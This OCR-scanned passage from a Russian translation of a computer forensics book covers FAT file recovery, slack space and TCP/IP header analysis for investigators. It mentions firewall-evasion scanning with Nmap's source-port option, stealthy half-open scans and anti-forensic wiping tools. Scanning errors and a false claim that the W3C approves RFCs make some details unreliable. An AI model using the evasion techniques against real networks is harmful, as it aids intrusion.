тически реконструируют файл на том же месте. Это означает, что таблица
размещения блоков будет восстановлена согласно интерпретации файло-
вой системы программой восстановления. На рис. 5.17 показано, что про-
исходит, когда первый файл TEST.1 восстанавливается на месте.
Отметим, что программа восстановления затребовала блоки данных 5 и
6 и проигнорировала блоки 9 и 10. Так как операция восстановления про-
должается, то программа находит второй удаленный файл TEST.2. Обра-
тившись к таблице размещения блоков, она обнаружит, что начальный кла-
стер был затребован повторно (предыдущей операцией восстановления).

Компьютерный судебный процесс
135
Блоки данных (кластеры)
2
3
4
5
6
7
8
9
101112
АААВВАААА
Таблица размещения файлов (FAT)
2
3
4
5
6
78
9
101112
345678EOF0000
Записи каталога
Имя файла
Размер
Дата
Время
Начальный кластер
TEST.1
13566
02 04 01
12:53pm
2
sEST.2
2503
02 04 01
12:56pm
5
Рис. 5.17. Состояние файловой системы после операции восстановления файла
на месте
Программа отметит файл, как обладающий низкой вероятностью восстанов-
ления, так как не существует способа узнать, были ли перезаписаны данные
файла.
Когда файлы восстанавливаются в другой области памяти, никакие изме-
нения не записываются в таблице размещения блоков. Хотя это не поможет
проблеме с фрагментированным файлом (где блоки данных 5 и 6 предпола-
гаются частью файла TEST.1), это позволит аналитику восстановить наибо-
льшее число файлов с жесткого диска. Это также удовлетворяет основному
требованию, что доказательство (или восстановленная копия) не изменяет-
ся никаким образом.
ВНИМАНИЕ Такие программы, как PGP, Evidance Eliminator и Shredder, вступают
в действие там, где операционная система заканчивает удаление
файлов. Они перехватывают запрос операционной системы на уда-
ление файла и реально обнуляют или стирают блоки данных, кото-
рые составляют файл. Когда это происходит, ограничивается
возможность исследователя восстановить возможное доказатель-
ство. При выполнении анализа на системе, которая имеет активной
подобную функциональность, помните, что сама операционная сис-
тема по прежнему является небрежной. То, что файл accounts.txt
был стерт, не означает, что информация не находится где то в дру-
гом месте на диске.

136
Глава 5
Теперь, когда вы имеете хорошее представление о работе различных
структур файловой системы, попробуйте выполнить всю операцию в Nor-
ton Disk Edit. Это отличный учебный эксперимент, но может быть лучше
сначала попробовать выполнить его на свободном диске DOS 6.22, прежде
чем пытаться сделать это на системе Windows 2000 на своем рабочем месте.
Уровни классификации информации и памяти приложений
Каталоги и файлы составляют верхние уровни модели хранения файловой
системы. Они, как и можно было ожидать, хранятся в различных типах фай-
ловых систем. Каждая файловая система имеет метод для соединения вместе
списков файловых записей. Большинство напоминают связанные списки,
или связанные списки списков (звучит путано, не правда ли?). В любом слу-
чае информация на этом уровне может быть существенной для исследова-
ния, так как это включает как активные так и удаленные файлы, а также по-
врежденные или нескомпнованные файлы. На этом уровне хранится
информация об отдельных файлах. Списки файловой системы отслеживают
НАГЛЯДНЫЙ ПРИМЕР
Я обеспечивал поддержку при исследовании самоубийства в ВВС, когда
следы доказательства предоставили главному следователю информацию,
необходимую для определения мотивов ужасного инцидента. Когда ис-
следователи прибыли на место происшествия, экран компьютера пока-
зывал часть записки самоубийцы. Письмо не было закончено и не было
напечатано. Исследователи сфотографировали место происшествия,
включая экран компьютера, чтобы зафиксировать приложение, пока
оно еще было активно. После сбора всех доказательств они отключили
компьютер от питания и отправили его в судебную лабораторию. Мы
восстановили сфотографированный документ без проблем, так как он
был сохранен как в обычном файле, так и в файле своппинга.
Анализ жесткого диска с помощью целенаправленного поиска строки
обнаружил больше совпадений, чем ожидалось, и привел к фрагментам
текста, которые не являлись частью активного файла. Интересующий
фрагмент оказался в конце записки самоубийцы, вне самого реального
файла. Фрагмент был ранним черновиком, который по прежнему был в
памяти компьютера при сохранении самой последней версии. Когда тек-
стовый процессор сохранял документ, он передал информацию опера-
ционной системе для вывода на жесткий диск. Данные не выравнива-
лись по 512 байтному блоку, поэтому другая часть памяти использовалась
для "заполнения" блока данных до 512 байтов. Более того, файловая сис-
тема не выделила бы частичные блоки, поэтому необходимо записать
файл в 32 Кбайтный отрезок. Это создает две части неиспользуемых сис-
темных остатков, известных как зазоры памяти и файловые зазоры соот-
ветственно.
Благодаря поведению операционной системы мы смогли восстано-
вить более раннюю версию записки самоубийцы. Следователи смогли
ответить на основной вопрос: было ли это самоубийство или хорошо
спланированное убийство?

Компьютерный судебный процесс
137
имена файлов, размеры файлов, кластеры или блоки и отметки времени
доступа к файлам. Конечно, не каждый сектор данных отслеживается в та
ком подробном, точном формате. Подобные области могут содержать сле-
ды доказательства.
Следом доказательства (trace evidance) называются фрагменты инфор-
мации, которые могут иметь влияние на исследование. Цифровые следы
доказательства можно найти в свободном пространстве или в неактивном
пространстве, которые были описаны ранее в разделе "Извлечение файло
вых зазоров и свободного пространства".
Итоги
Cудебное дублирование является критически важным шагом для многих ис
следований. Оно включает поддержание точных, защищенных от подделки
данных, которые могут доказать ваш случай бесспорным образом. Правиль-
но обрабатывая доказательство, используя специальные судебные утилиты,
которые были выбраны для использования, и документируя соответствую-
щим образом исследовательские действия, вы имеете прочное основание
на случай возникновения каких либо сомнений в используемых методах
пли выводах.

ГЛАВА 6
Изучение
сетевых протоколов,
ловушки и трассировка

140
Глава 6
И нтернет был создан для развития открытой коммуникации между
правительственными исследовательскими центрами, а не для обмена за-
крытыми финансовыми данными или как безопасная инфраструктура для
е коммерции. Так как правоохранительные органы хорошо знают, что пре-
ступления двигаются вслед за деньгами, то никто не был удивлен, что как то-
лько жизненно важная информация и коммерция попали в локальные сети и
Интернет, тут же было совершено преступление. Сегодня никто не сомнева-
ется, что сетевой трафик необходимо контролировать, чтобы предотвра-
тить потерю жизненно важной информации, поддерживать секретность, до-
ступное рабочее время машины и защищать ценности своей организации.
Чтобы успешно контролировать сетевой трафик, необходимо иметь хо-
рошее понимание сетевой коммуникации. Кроме того, должно быть соот-
ветствующее снаряжение для выполнения того, что называется сетевым су-
дебным рассмотрением --- изучение сетевого трафика для подтверждения
незаконной, неавторизованной, или неприемлемой активности. Множест-
во коммерческих и несколько бесплатных утилит автоматизируют этот
процесс обнаружения, однако не существует совершенной системы обнару-
жения. Хорошее понимание работы TCP/IP и протоколов Интернета по-
может вам в распознавании незаконного, неавторизованного и зловредно-
го трафика Интернета, независимо от используемых утилит мониторинга.
В этой главе рассматриваются протоколы TCP/IP и концепция ловушки
и трассировки. Здесь не дается материал для углубленного изучения сете-
вых протоколов, но создается фундамент, который требуется исследова-
телю для адекватного разрешения случаев компьютерных преступлений.
В данной главе рассматриваются:
Основы критически важных протоколов Интернета
Работа сетевого анализатора
Использование популярных утилит анализаторов для интерпретации
заголовков TCP/IP
ПОНИМАНИЕ TCP/IP
Протокол управления передачей/протокол Интернета (TCP/IP) является
языком Интернета. Следуя протоколам TCP/IP, вы подчиняетесь набору
принятых правил, которые сообщают вычислительной системе, как полу-
чить доступ к ресурсам в Интернете и к локальным сетям на основе TCP/IP
(LAN). При перемещении в Web, пересылке файла, отправке или получе-
нии e mail, или использовании онлайн чата, вы применяете протоколы
TCP/IP.
Понимание TCP/IP будет определять эффективность обнаружения, мо-
ниторинга или поиска тех лиц, которые атакуют сети, крадут информацию,
создают черные ходы или тайные каналы и запускают атаки отказа в обслу-
живании. Профессионалы сетевой безопасности хорошо знакомы с осо-
бенностями этих сетевых протоколов (см. таблицу 6.1).

Лучение сетевых протоколов, ловушки и трассировка
141
Таблица 6.1. Распространенные сетевые протоколы
Протокол
Протокол передачи гипертекста
Простой протокол передачи
электронной почты
Протокол почтовой службы
Протокол пересылки файлов
Протокол управляющих сообщений
Интернета
Telnet
Протокол управления передачей
Протокол датаграмм пользователя
Протокол Интернета
Протокол разрешения адреса
Двухточечный протокол
Сокращение
HTTP
SMTP
POP
FTP
ICMP
нет
TCP
UDP
IP
ARP
PPP
Назначение
Используется при перемещении в WWW
Используется при отправке e mail
Применяется для извлечения e mail
Используется при загрузке файла
Применяется системами для согласования
трафика
Используется для доступа на командном уровне к
удаленной машине
Используется практически всеми приложениями для
обеспечения надежной коммуникации
и управления трафиком
Применяется приложениями для передачи
голоса, музыки и мгновенных сообщений
протокол "отправил и забыл"
Конверт, который содержит почти каждый пакет
в Интернете.
Используется для разрешения физической
адресации сетевого адаптера (адресации MAC)
в адреса Интернета
Используется в основном для коммутируемого до-
ступа
ИНКАПСУЛЯЦИЯ
Инкапсуляция является методом реализации слоев в сетевых протоколах.
Идея состоит в том, что несколько слоев программного обеспечения служат
определенным целям во время создания сетевого трафика. Каждый слой
модели добавляет информацию, или заголовки, к пакетам, которые посы-
лаются по сети.
Хорошим примером концепции слоев является модель взаимодействия
открытых систем, называемая также модель OSI (см. рис. 6.1). Модель OSI
никогда не была реализована в реальности, но мы используем ее здесь для
иллюстрации взаимодействия сетей.
ВНИМАНИЕ Термин пакет используется для обозначения датаграмм IP, сегмен-
тов TCP и Ethernet или других кадров уровня канала данных. Все три
понятия представляют различные стадии создания пакета данных.
Рекомендуется прочитать TCP/IP Illustrated, Volume One: The Proto-
cols, автора W. Richard Stevens (Addison Wesley Professional Compu-
ting Series), для получения дополнительной информации об этих
терминах.

142
Глава б
Рис. 6.1. Модель OSI
Когда вы вводите e mail для отправки приятелю, создается e mail на
уровне приложений. Когда вы нажимаете кнопку отправки, чтобы послать
сообщение, приложение, которое используется для создания e mail (Netsca-
pe, Outlook, Eudora, cc:Mail и т.д.), передает e mail программе метод пред-
ставления, используемый на машине. Программа уровня представления,
которая обрабатывает e mail некоторым образом, передает управление
уровню сеанса, который дальше обрабатывает e mail и посылает его следу-
ющему уровню. Это продолжается, пока e mail не обрабатывается уровнем
канала данных и посылается по сетевому соединению.
Практически все это невидимо конечному пользователю. Вы знаете, что
нажали кнопку отправки (send), чтобы послать e mail. Это "невидимое" или
прозрачное программное обеспечение, которое создает много заголовков,
называется стеком протоколов. Хотя мы интересуемся в этой книге прежде
всего стеком протоколов TCP/IP, необходимо знать, что стеки протоколов
существуют для множества других сетевых протоколов, включая протоко-
лы Novell IPX, AppleTalk, DECNet, IBM System Network Architecture и Micro-
soft NetBIOS. Каждый набор протоколов является просто другим языком,
который говорит одни и те же вещи.
Применим концепцию слоев к TCP/IP. На рис. 6.2 показано, как инкап-
суляция TCP/IP благоприятствует трафику между двумя различными LAN.
Далее следует пошаговое рассмотрение действий, которые происходят
при создании сетевого трафика TCP/IP при отправке e mail (это будет точ-
но так же для множества других типов приложений):

Изучение сетевых протоколов, ловушки и трассировка
143
Рис. 6.2. Реализация инкапсуляции в TCP/IP
Когда закончите вводить свое сообщение e mail, нажмите кнопку
отправки (send).
Приложение, которое использовалось для создания e mail, создает
свой собственный заголовок и затем передает информацию транс-
портному уровню, где его обработает программное обеспечение TCP
или UDP. Клиенты e mail обычно запрашивают соединение службы
TCP; поэтому программное обеспечение TCP, реализованное на
транспортном уровне, обработает данные и создаст заголовок TCP.
После того как заголовок TCP был создан и добавлен перед e mail
на транспортном уровне, программное обеспечение TCP передает
управление сетевому уровню, где оно обрабатывается програм-
мным обеспечением IP.
После того как заголовок IP был создан и добавлен перед e mail на
сетевом уровне, программное обеспечение IP передает управление
сетевой плате на уровне канала данных, которая создает заголовок
уровня канала данных и создает электрические или оптические еди
ницы и нули, используемые в сетевой среде.

144
Глава 6
5. Машина, которая получает этот пакет на физическом уровне, удаляет ]
по очереди каждый заголовок в обратном порядке на каждом соответ 1
ствующем уровне. Таким образом, заголовок IP удаляется на сетевом
уровне, заголовок TCP --- на транспортном уровне. Данные переда-
ются по стеку на уровень приложений получающего пользователя.
Отметим, что TCP/IP не реализует все семь уровней модели OSI, но
концепция уровней все равно сохраняется. Атакующие утилиты, которые
"разрушают стек", являются программами. Они создают свою собственную
заголовочную информацию, чтобы "обмануть" (создать поддельные адреса
IP), выбрать свои собственные порты источника и заполнить поля заголов-
ка значениями, которые нужны атакующему.
Перехват транзакционных данных
Обращайтесь к концепции слоев при перехвате непосредственной комму-
никации. Когда персонал правоохранительных органов не авторизован для
перехвата всего содержимого коммуникации, они могут быть авторизова-
ны для перехвата так называемой траизакциоиной информации. Транзакци
онная информация включает заголовки пакетов TCP/IP. Можно видеть на
рис. 6.2, что мониторинг всего содержимого требует перехвата данных по-
льзователя, но транзакционный перехват для определения источника и ме-
ста назначения коммуникации является просто перехватом заголовков TCP
и IP.
Заголовок IP
Крайне важно, чтобы вы знали и понимали поля, которые формируют заго-
ловок IP. Брандмауэры, системы IDS и сетевые анализаторы могут филь-
тровать трафик на основе любого из полей в заголовке IP. Заголовки обыч-
но содержат всю информацию, которая понадобится для фильтрации
сетевого трафика, чтобы сделать инспектирование сети менее навязчи-
вым, более целенаправленным и более эффективным.
IP работает на сетевом уровне модели OSI. Он отвечает за доставку паке-
тов из IP адреса источника по IP адресу места назначения. Протокол IP со-
держит или инкапсулирует другой протокол, такой как ICMP (Протокол
управляющих сообщений Интернета), TCP или UDP. Заголовок IP включа-
ет как минимум 12 полей, все из которых могут содержать значения, на
основе которых создаются схемы фильтрации. Конструкция заголовка IP
описана в RFC791.
Компоновка заголовка IP показана на рис. 6.3. Пример образа реального
заголовка IP представлен на рис. 6.5.
Версия (Version) является 4 битовым полем, которое идентифицирует
версию пакета IP. В настоящее время основой Интернета является IP вер-
сии 4. IPv4 представляет собой общий способ указания адресов. Можно
встретить также IP версии 6, следующее поколение. Далее описаны другие
поля, содержащиеся в заголовке IPv4.

Изучение сетевых протоколов, ловушки и трассировка
145
Рис. 6.3. Компоновка заголовка протокола Интернета (IPv4)
Длина (Length) является 4 битовым полем, которое идентифицирует
число 32 битовых (4 байтных) слов, которые составляют заголовок IP. Мак-
симальный размер заголовка равен 60 байтам. Размер всегда является крат-
ным 32 битам. Наиболее распространенное значение поля длины --- 5 (заго-
ловок IP без дополнительных опций).
TOS обозначает тип обслуживания (type of service). Это --- 8 битовое поле,
представляющее тип обслуживания, которое должен получить пакет. Такое
поле имеет, как говорит RFC, "неустойчивую историю". RFC791 первонача-
льно определил байт TOS в заголовке IP. После RFC791 8 битовое поле
TOS было переопределено в RFC 1122, 1349,1455 и 2481.
Общая длина (total length) является 16 битовым полем, представляющим
общую длину IP пакета в байтах. Наибольший пакет в Интернете имеет 216
или 65535 байтов в длину. Многие системы IDS создают сигнал тревоги, ког-
да получен IP пакет с полем протокола в заголовке IP, заданным как 1 (ICMP)
и общей длиной, заданной числом больше 1024. Вы когда нибудь слышали о
"Ping of Death" ("Пинг смерти")? Это эхо запрос ICMP (ping) IP фрагмента,
в котором общий восстановленный пакет будет больше 65535 байт.
Следующие три поля --- идентификация (identification), флаги (flags) и сме-
щение (offset) --- необходимы для фрагментации IP. Но прежде чем обсуж-
дать эти поля, необходимо немного познакомиться с фрагментацией.
Не все сети имеют пакеты одинакового размера. Сети Ethernet используют
размер MTU (Максимальная единица передачи) равна 1518 байт на пакет.
Многие сети token ring применяют значительно больший размер пакета. В
некоторых сценариях маршрутизатор должен фрагментировать входящие
пакеты, поскольку они слишком большие для сети, которую обслуживает
маршрутизатор. Такая фрагментация IP будет происходить, когда сеть to-
ken ring общается с Ethernet. На рис. 6.4 показана работа фрагментации IP.
16 битовое поле идентификации в пакете 1 будет иметь значение, иден-
тичное значению и пакетах 2, 3 и 4 (см. рис. 6.4). Так как пакеты 2, 3, 4 имеют

146
Глава 6
Рис. 6.4. Работа фрагментации IP
одинаковые значения поля идентификации, получающая машина знает, что
данные четыре пакета составляют один пакет, и будет пытаться реконструи-
ровать пакеты в одну сущность.
Рассмотрим компоновки заголовка на рис. 6.3 3 битовое поле флагов
(биты 0, 1, 2) обеспечивают управление фрагментами:
Бит 0 зарезервирован и не используется.
Бит 1 является битом нефрагментирования. Когда задан бит 1, он
приказывает маршрутизатору "не фрагментировать" пакеты. Когда
бит 1 не задан, пакет может фрагментироваться.
Бит 2 является битом последнего фрагмента или дополнительных
фрагментов. Он задается для указания, что пакет содержит дополни-
тельные фрагменты.
13 битовое поле смещения (Offset) является счетчиком байтов, который
сообщает получающей системе, где располагается пакет в общей схеме всех
полученных фрагментов.
TTL означает time to live (время жизни), 8 битовое поле, определяющее
максимальное число переходов (hop), которое может выполнить пакет. На-
пример, если TTL пакета равен 32, то он может пройти или перепрыгнуть
через 31 маршрутизатор, прежде чем TTL уменьшится до 0. Когда TTL па-
кета уменьшается до 0, то посылающей машине возвращается пакет ICMP,
сообщающий о превышении времени жизни.
Поле протокола (protocol) является 8 битовым полем, которое указыва-
ет, какой тип заголовка следует за заголовком IP. Поле заголовка может со-
держать одно из определенных значений списка. Вот некоторые из наибо-
лее распространенных значений протоколов:
1 Пакет IP содержит пакет ICMP
6 Пакет TCP
17 Пакет UDP

Изучение сетевых протоколов, ловушки и трассировка
147
Некоторые популярные системы IDS создают тревожный сигнал, когда
и поле протокола задано нестандартное значение. RFC762 определяет зна-
чения и их соответствующие протоколы.
Поле контрольной суммы заголовка является 16 битовым числом, которое
представляет контрольную сумму (числовой уникальный идентификатор)
для всего заголовка IP. Это поле используется для обеспечения того, чтобы
данные в заголовке доставлялись неизменными.
IP адрес источника является 32 битовым IP адресом системы, посылающей
пакет. Важно понимать, что каждая машина в сети TCP/IP имеет IP адрес.
Этот IP адрес является "телефонным номером" системы, когда она соединя-
ется с Интернетом. Все вызовы, Поступающие на машину или посылаемые
машиной, помечаются IP адресом соответствующей машины во время, когда
она делает или получает вызов. Наиболее распространенным способом ука-
зать IP адрес системы является метод десятичных значений с точками, кото-
рый представляет 4 байтный IP адрес как четыре значения между 0 и 255,
разделенных точкой, такой как 149.16.12.8. Любое значение в IP адресе явля-
ется десятичным представлением каждого 8 битового значения в 32 битовом
поле IP адреса.
ВНИМАНИЕ Целью многих исследований компьютерных преступлений является
определение идентичности субъекта, скрытого за IP адресом ис-
точника. Рассмотрим способы выполнения этого в Приложении А.
IP адрес места назначения является 32 битовым IP адресом получателя
пакета.
Рис. 6.5. Просмотр IP заголовка с помощью Ethereal

148
Глава б
При открытии Web браузера для соединения с Web сайтом машина про-
зрачно создает заголовок IP. На рис. 6.5 показан заголовок IP, созданный
при соединении машины 10.18.15.3 с Web сайтом http://home.netscape.com
(IP адрес места назначения которой равен 207.200.89.193).
Отметим, что программное обеспечение перехвата Ethereal показывает
12 полей заголовка IP в удобном для пользователя формате. Можно выде-
лить любое поле заголовка, a Ethereal укажет, какие шестнадцатеричные
значения соответствуют выбранному полю. Шестнадцатеричная система
счисления является лучшей системой для просмотра данных, генерируе-
мых компьютерами. Шестнадцать равно общему числу значений, которые
может иметь 4 битовый отрезок данных. Поэтому шестнадцатеричная сис-
тема предоставляет метод представления значения байта с помощью двух
алфавитно цировых символов. На рис. 6.5 выбрано поле протокола Интер-
нета (Internet Protocol), и можно видеть выделенные 20 байт в нижнем
окне. Отметим, что данные в пакете выводятся в шестнадцатеричном фор-
мате. При трансляции в ASCII (удобочитаемом для людей) они получают
значительно больше смысла. Уверенное использование шестнадцатерич
ной распечатки сетевых данных является критически важным для тех, кто
должен выполнять сетевой надзор.
Запрос комментариев
RFC (Request for Comments --- запрос комментариев) был исходным спо-
собом, с помощью которого обсуждались правила и протоколы, прежде
чем они становились официальными протоколами Интернета (т.е. преж-
де чем они утверждались WWW Consortium --- W3C).
Пионеры Интернета нуждались в механизме, который помог бы разра-
ботчикам на всем земном шаре согласовывать стандарты. Стив Крокер,
студент выпускник при рождении первой компьютерной сети в 1969 г.,
написал следующее в RFC 1000:
Я помню, мы опасались того, что можем обидеть создателя офици-
ального протокола. Я потратил много времени на подбор смирен-
ных слов в наших заметках. Основное базовое правило состояло в
возможности любого сказать что угодно, и ничто не было официа-
льной точкой зрения. И чтобы подчеркнуть этот момент, я поме-
чал заметки "Request for Comments". Я никогда не думал, что по-
добные заметки будут распространяться в той самой среде,
которую мы в них обсуждали.
RFC являются прекрасной технической документацией для изучения
изменений, происходящих в Интернете. Они также демонстрируют ис-
торию эволюции Сети. Так как стандарты и протоколы в Интернете час-
то изменяются, то RFC с заголовком "Официальные стандарты протоко-
лов Интернета" издаются для объединения каждых 100 RFC. Поэтому
RFC2100, 2200, 2300 содержат "Официальные стандарты протоколов Ин-
тернета", которые были текущими во время написания. Самый послед-
ний (RFC с наибольшим номером, который делится на 100) будет имен,
современные ссылки на все RFC, описывающие стандарты Интернета
(STD), лучшие текущие реализации (ВСР) и информационные RFС (FYI).
Все ссылки на RFC можно увидеть по адресу www.ietf.org/rfc.

Изучение сетевых протоколов, ловушки и трассировка
149
Соответствие RFC
Традиционно неиспользуемые зарезервированные поля в заголовках
TCP/IP изменяются различными атакующими утилитами для отправки
пакетов, не соответствующих RFC. Это означает, что пакеты не придер-
живаются установленных правил и являются плохо сформированными. Па-
кеты, не соответствующие RFC, могут использоваться для сокрытия
устройства каналов или для изучения системных ответов на плохо сфор-
мированные пакеты для определения операционной системы целевой
системы.
Чтобы опознавать соответствие самым последним RFC, системы обна-
ружения вторжения и брандмауэры должны обновляться. Например, не-
давние изменения в поля типа обслуживания реализуют новые значения,
которые могут заставить некоторые системы IDS ложно предупреждать
сетевых администраторов, что в их сетях выполняется некая утилита,
ощупывающая стек TCP/IP.
Поля заголовка IP
Знание полей заголовка IP может помочь при обнаружении, предотвраще-
нии и мониторинге атак. Список полей и как их можно использовать:
Чтобы защитить себя от потока ICMP, Ping of Death (фрагментиро
ванных пакетов ping, которые превышают максимальный размер па-
кета IP) и атак Smurf (широковещательных пакетов ping) можно
заблокировать все пакеты с полем протокола IP, равным 1 (ICMP).
Чтобы блокировать все фрагментированные пакеты, можно отбрасы-
вать пакеты IP со значением 1 бита дополнительные фрагменты поля
флаги заголовка IP.
Для мониторинга трафика, приходящего или уходящего с системы с
IP адресом, например 192.168.0.100, можно перехватывать все паке-
ты, которые имеют 192.168.0.100 в полях IP адрес источника и IP adpec
места назначения заголовка IP.
Чтобы помешать некоторым IP адресам источника непрерывно сканиро-
вать сеть, можно заблокировать все пакеты с IP адресом источника ини-
циирующей сети. Например, если провайдер услуг Интернета (ISP) в
Израиле кажется источником сканирования сетей и атак на основе се-
тей, можно заблокировать все пакеты из адресного пространства клас-
са С израильского ISP.
Заголовок TCP
TCP отвечает за предоставление надежной доставки пакетов и является, ве-
роятно, самым распространенным протоколом в Интернете. Заголовок
TCP содержит известные номера портов, которые определяют, какие служ-
бы ДОЛЖНЫ обрабатывать пакет при его получении. Заголовок функциони-
рует на транспортном уровне модели OSI. Его конструкция подробно опи
сана в RFC793, а компоновка показана на рис. 6.6.

150
Глава б
Рис. 6.6. Компоновка заголовка TCP
Знайте поля своего заголовка
Знание полей заголовка TCP помогает в обнаружении, предотвращении
и мониторинге атак. Чтобы помешать неавторизованным пользователям
передавать файлы с ваших серверов ftp, можно заблокировать все входя-
щие пакеты со значением порта назначения TCP, равным 21.
Например, чтобы помешать сотрудникам тратить дорогостоящие ра-
бочие часы на использование IRC (Internet Relay Chat), можно заблокиро-
вать пакеты, исходящие из сети с портом места назначения в диапазоне
от 6665 до 7000. Или если нужно выполнять мониторинг e mail, которую
посылают сотрудники, можно сконфигурировать систему для перехвата
всего трафика из сети, уходящего на порт места назначения 25.
Конечно, можно использовать и другие решения для всех этих ситуа-
ций, такие как сервер ftp, использующий порт, отличный от используе-
мого по умолчанию порта 21, и блокирование известных портов службы.
Порт источника является 16 битовым полем, которое ссылается на посы-
лающее приложение. Порт места назначения является 16 битным полем,
которое ссылается на получающее приложение. Когда вы соединяетесь с
удаленной машиной, ваша операционная система выбирает порт источни-
ка, часто описываемый как эфемерный порт, так как он существует в течение
короткого времени (обычно только во время данного соединения). Эти
эфемерные порты являются произвольными. Номера портов бывают боль-
ше 1024. Если для соединения с Web сервером используется Web браузер,
браузер выберет эфемерный порт источника и пошлет пакеты в используе-
мый по умолчанию порт места назначения Web сервера, который будет
портом НО. Когда Web сервер отвечает и передает данные па вашу машину.

Изучение сетевых протоколов, ловушки и трассировка
151
Рис. 6.7. Типичное соединение Web
он будет посылать данные на эфемерный порт, который выбрала система
для этого конкретного сеанса telnet. На рис. 6.7 показано, как это работает.
Поля порядкового номера и подтверждения на рис. 6.6 являются 32 битовы-
ми счетчиками. Данные поля показывают, сколько байтов было послано и
получено во время соединения. TCP является дуплексным коммуникацион-
ным каналом.
Это означает, что информация может перемещаться между отправите-
лем и получателем в обоих направлениях. Таким образом, каждая сторона
соединения должна поддерживать различный порядковый номер, считаю-
щий число байтов, которое он посылает. Номер подтверждения является
следующим порядковым номером, который отправитель подтверждения
ожидает получить. Ваш порядковый номер указывает, сколько байтов по-
слала система. Система также посылает номер подтверждения, который
предвосхищает следующий порядковый номер от удаленной машины.
Пом информации заголовка является 16 битовым полем, которое содержит
длину заголовка TCP, несколько резервных битов и шесть битов флагов. Не-
обходимо хорошо понимать значение этого поля, так как многие методы
опознания цели, которые используют атакующие, включают переключение
различных битов (сканирование портов и ощупывание стека TCP/IP) в поле
информации заголовка. На рис. 6.8 показана конфигурация битов поля ин-
формации заголовка.
Биты 0 3 представляют длину заголовка в 32 битовых словах (максималь-
но 60 байт).
Биты 4 9 являются зарезервированными для будущего использования.
Они обычно заданы как 0, хотя протокол ECN (Explicit Congestion No-
tification --- Уведомление о явной скученности) (RFC2481) предложил
использование битов 8 и 9. Если ECN реализован, бит 8 становится
битом сокращения окна скопления, а бит 9 битом ECN  Echo.

152
Глава б
Биты с 10 по 15 являются управляющими битами. Эти шесть битов указы-
вают, какой тип пакетов TCP передается:
Бит 10 является флагом URG. Он задается для активации поля указате-
ля срочности, которое обозначает конец срочных данных в пакете.
Бит 11 является флагом АСК (Acknowledgement --- подтверждения).
АСК задается всякий раз, когда данные успешно принимаются удален-
ным хостом.
Бит 12 является флагом PSH (push --- выталкивания). Он задается, что-
бы разрешить приложению избежать буферизации TCP. Стек TCP/IP
буферизирует пакеты и ожидает дополнительных данных, прежде
чем передать пакеты получающему приложению. Флаг выталкивания
посылает пакеты непосредственно ожидающему процессу, предпола-
гая, что приложение может обработать окно пакетов, доставленных
ему. Однако сегодня стек TCP/IP хоста определяет, когда задавать этот
бит.
Бит 13 является флагом RST (reset --- сброс в исходное состояние). Он
задается при получении пакета, который кажется неправильным па-
кетом. Это может происходить, когда одно из шести полей, которые
составляют сеанс TCP/IP, будет не тем, что ожидается.
Бит 14 является флагом SYN (синхронизация). Он задается для ини-
циализации порядковых номеров в начале соединения.
Бит 15 является флагом FIN (конец). Он задается, чтобы указать, ког-
да отправитель закончил передачу информации.
Биты
Длина
Зарезервировано U
R
G
АС
К
Р
S
Н
R
S
Т
S
УN
F
IN
Рис. 6.8. Резервные биты в заголовке TCP
Вернемся к рис. 6.6. Следующее поле в заголовке TCP является 16 бито-
вым полем размера окна. Подобное поле представляет собой число байтов,
которое способна получить машина во время каждой транзакции пакетов.
Создатели TCP решили, что никто не будет посылать по одному пакету за
раз и ждать подтверждения, прежде чем посылать другой пакет. Сети про-
сто работали бы слишком медленно, если бы так было сделано. Поэтому
поле размера окна позволяет машине принимать несколько пакетов и по-
сылать только один подтверждающий пакет в ответ.
Поле контрольной суммы TCP является 16 битовой контрольной суммой
для всей полезной нагрузки пакета, включая заголовок TCP, а также данные.

Изучение сетевых протоколов, ловушки и трассировка
153
Последним полем в заголовке TCP, помимо различных опций TCP, явля-
ется 16 битовое поле указателя срочности. Когда используется указатель
срочности, посылающая система сообщает получающей системе, что сроч-
ные данные некоторого вида были помещены в поток данных сеанса. Ука-
затель срочности должен использоваться во время передачи большого фай-
ла. Если вы решите прервать передачу, клиент протокола передачи файла
будет задавать указатель срочности.
Трехходовое квитирование TCP
(Ьединения на основе TCP всегда начинаются с так называемого трехходового
квитирования. Важно понимать этот обмен, так как каждое завершенное трех-
ходовое квитирование обозначает начало нового сеанса соединения.
На рис. 6.9 показано трехходовое квитирование между нашей системой
(192.168.0.10) и Web сайтом home.netscape.com. Пакет SYN посылается из
эфемерного порта 1072 системы 192.168.0.10 в порт 80 места назначения.
Система на home.netscape.com посылает обратный пакет с заданными фла-
гами SYN и АСК. Отметим, что порт источника для возвращаемого пакета
будет 80, и он направляется в порт места назначения 1072. Клиентская ма-
шина подтверждает пакет SYN ACK, задавая флаг АСК и посылая ответ на
порт 80 Web сервера. Так завершается трехходовое квитирование.
Рис. 6.9. Трехходовое квитирование в Ethereal
Nmap
Порт источника часто изменяется утилитами хакеров, чтобы обмануть
брандмауэры, которые фильтруют порты. Хорошим примером такого
инструмента хакера является Nmap, бесплатно доступная, мощная ути-
лита сканирования портов. Nmap имеет параметр  g, который позволя-
ет произвольно выбрать порт источника. Атакующие обычно сканиру-
ют с порта источника 53 (отвечает DNS), 80 (отвечает Web сервер), 20
(отвечает FTP), или 110 (отвечает сервер почты). Эти порты источни-
ки редко фильтруются брандмауэрами или маршрутизаторами; поэтому
сканирование не блокируется, когда оно инициируется с данных портов.

154
Глава б
Надо понимать, что соединения, которые не завершают трехходовое кви-
тирование, могут выполнять полусканирование системы для определения, ка-
кие порты в данный момент открыты. Полусканирование позволяет атакую-
щему перенумеровать выполняемые службы скрытым образом, так как
полусканирование редко фиксируется в журнале на хосте. Когда атакующий
знает, какие порты были открыты, он лучше подготовлен для успешной ата-
ки системы. Поэтому важно, чтобы персонал компьютерной безопасности
идентифицировал те пакеты, которые не имеют намерения соединиться с
системой. Такое сканирование портов является предшественником полно-
ценной сетевой атаки.
Заголовок UDP
UDP --- протокол, не имеющий соединения, "отправил и забыл". Он полага-
ется на вышележащие уровни для предоставления надежной доставки. Он
функционирует на транспортном уровне и используется, когда приложе-
ние не применяет протокол TCP. В то время как TCP использует трехходо-
вое квитирование для инициирования соединений, считает полученные и
посланные байты, согласовывает размер окна, повторно собирает пакеты в
правильном порядке и выполняет проверку ошибок, UDP не осуществляет
ни одну из этих задач. UDP является все возрастающей долей полосы про-
пускания Интернета, так как становятся популярными такие приложения,
как передача голоса через IP, онлайновые игры и другие приложения муль-
тимедийной коммуникации. Протоколы работы с сетями компании Micro-
soft используют UDP для регистрации в системе, перемещения и разреше-
